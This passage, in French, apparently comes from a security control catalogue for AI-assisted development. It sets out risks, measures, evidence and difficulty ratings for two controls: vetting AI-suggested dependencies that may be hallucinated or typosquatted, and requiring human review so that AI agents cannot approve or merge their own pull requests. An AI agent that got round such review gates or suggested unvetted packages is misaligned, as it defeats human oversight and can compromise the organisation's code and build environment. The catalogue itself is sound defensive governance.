politique du dépôt d’artefacts sur le changement qui introduit la dépendance afin qu’une version malveillante ou compromise n’entre jamais dans le build.

Risque

Un développeur installe une dépendance suggérée par IA qui est hallucinée, typosquattée ou malveillante. Le paquet exécute du code de l’attaquant à l’installation ou au runtime et compromet l’application ainsi que l’environnement de build.

Mesure

Vérifier chaque dépendance suggérée par IA avant adoption : confirmer que le paquet existe, qu’il correspond bien au projet visé (nom, éditeur, dépôt), qu’il est activement maintenu et qu’il passe l’analyse de composition logicielle existante. Préférer les dépendances déjà utilisées dans l’organisation.

Preuves d’évaluation attendues

- Montrer les étapes documentées de vérification d’une nouvelle dépendance ainsi qu’un exemple récent de paquet suggéré par IA ayant été vérifié ou rejeté. - Montrer que l’analyse de composition logicielle couvre les dépendances suggérées par IA avant le merge.

Difficulté

connaissance: 2/5 · temps: 2/5 · ressources: 1/5 · Utilité: 4/5

Mappings

Description

Le code généré par IA est conçu pour sembler plausible et est donc souvent accepté sans examen approfondi (« biais d’automatisation »). Il doit être traité comme du code provenant d’un contributeur non fiable : un humain connaissant la codebase le revoit avant merge. Les revues en amont de la spécification et du plan (_Revue humaine des spécifications générées par IA_, _Revue humaine des plans générés par IA_) réduisent ce que la revue de code doit détecter, et les gates automatisées (_Auto-vérification des changements générés par IA_, _Analyse statique et dynamique du code généré par IA_) filtrent les problèmes mécaniques. Aucune ne remplace cette activité : les agents peuvent dévier des plans approuvés, le code reste donc la dernière gate d’artefact avant merge.

Risque

Du code généré par IA contenant des défauts logiques subtils, des paramètres non sûrs ou des dépendances hallucinées/typosquattées est mergé sans revue parce qu’il « semble correct » et compile.

Mesure

Exiger une revue humaine de tous les changements générés par IA avant merge. Les reviewers sont responsables du changement comme s’ils l’avaient écrit eux-mêmes. Les agents IA ne doivent pas pouvoir approuver ni merger leurs propres pull requests.

Preuves d’évaluation attendues

- Montrer une protection de branche imposant une revue humaine avant merge et démontrer que les identités d’agents ne peuvent approuver ni merger leurs propres pull requests. - Montrer des revues récentes de changements générés par IA et qui en porte la responsabilité.

Difficulté

connaissance: 2/5 · temps: 3/5 · ressources: 1/5 · Utilité: 5/5

Mappings